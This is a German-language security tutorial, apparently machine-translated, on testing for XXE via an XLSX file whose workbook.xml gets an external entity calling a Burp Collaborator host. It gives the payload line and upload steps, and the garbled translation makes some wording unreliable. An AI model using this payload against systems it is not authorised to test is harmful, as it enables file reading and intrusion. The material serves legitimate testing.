Die Anfälligkeit von XML External Entity (XXE) besteht darin, dass beim Parsen einer XML-Dokumentstruktur namens Document Type Definition (DTD) die Definition eigener XML-Entitäten zulässig ist. Je nach XML-Verarbeitungsmotor auf der Serverseite und der Umgebungskonfiguration ist es möglich, diese Art von Anfälligkeit unterschiedlich zu nutzen. Beginnend mit dem Auflisten von Verzeichnissen auf dem System, dem Lesen von Anwendungs- und Systemdateien, dem Erlangen eines verschlüsselten Benutzerkennworts für die Anwendung, dem Hochladen von Dateien auf den Server oder der Ausführung von Systembefehlen.
Ein klassisches Szenario dieser Art von Verwundbarkeit setzt voraus, dass wir es mit einer Anforderung zu tun haben, die in Ihrem Körper ein XML enthält, zu dem wir den verantwortlichen Teil für die Definitionen Ihrer eigenen Entität einfügen. Diese Anfälligkeit kann jedoch auch auftreten, wenn Sie es mit einer Anwendung zu tun haben, die Excel-Dateien irgendwie verarbeitet. XLSX , Word . DOCX oder PowerPoint . PPTX. Wir sind es schuldig, dass diese Art von Dateien, die OOXML-konform sind, daher einfach mehrere Dateien gepackt sind. XML.
Das schnelle Angriffsszenario sieht wie folgt aus:
- Erstellen Sie ein neues leeres Dokument . XLSX. Er kann "Google Sheet" dafür verwenden.
2. Öffnen Sie Burp Suite Professional -> Burp -> Burp Collaborator Client . Klicken Sie dann auf "Copy to clipboard". In meinem Fall war die Serveradresse wie folgt – lpexqn6l2qamcw74mgerllgpzg56tv.burpcollaborator.net.
Alternativ können Sie, wenn Sie eine externe IP haben, einen einfachen HTTP-Server in Python verwenden – "python3 -m http.server 8080".
3. Öffnen Sie die heruntergeladene Datei mit dem 7-Chip.
3. Bearbeiten Sie die Datei "Workbook.xml" im Verzeichnis "xl", indem Sie den folgenden Code hinzufügen (natürlich indem Sie die Serveradresse in Ihre eigene ändern):
<!DOCTYPE root [ <!ENTITY % xxe SYSTEM "http://lpexqn6l2qamcw74mgerllgpzg56tv.burpcollaborator.net/"> %xxe; ]>
HINWEIS: In einer app, die ich getestet habe, hat sich die Anfälligkeit von XXE nach der Bearbeitung von "[Content_Types].xml" offenbart, so dass es sich lohnt, diese Datei zu überprüfen.
4. Speichern Sie die Änderungen, und laden Sie die Datei in die getestete Anwendung hoch.
5. Überprüfen Sie nun den Collaborator-Client auf Anfragen:
6. Genießen Sie 🙂 – Sie haben gerade die XxE-Anfälligkeit in der getesteten App bestätigt und können sie weiter betreiben.
Ein gängiger Schutz vor XXE ist das vollständige Deaktivieren des Ladens externer Entitäten im XML-Parser.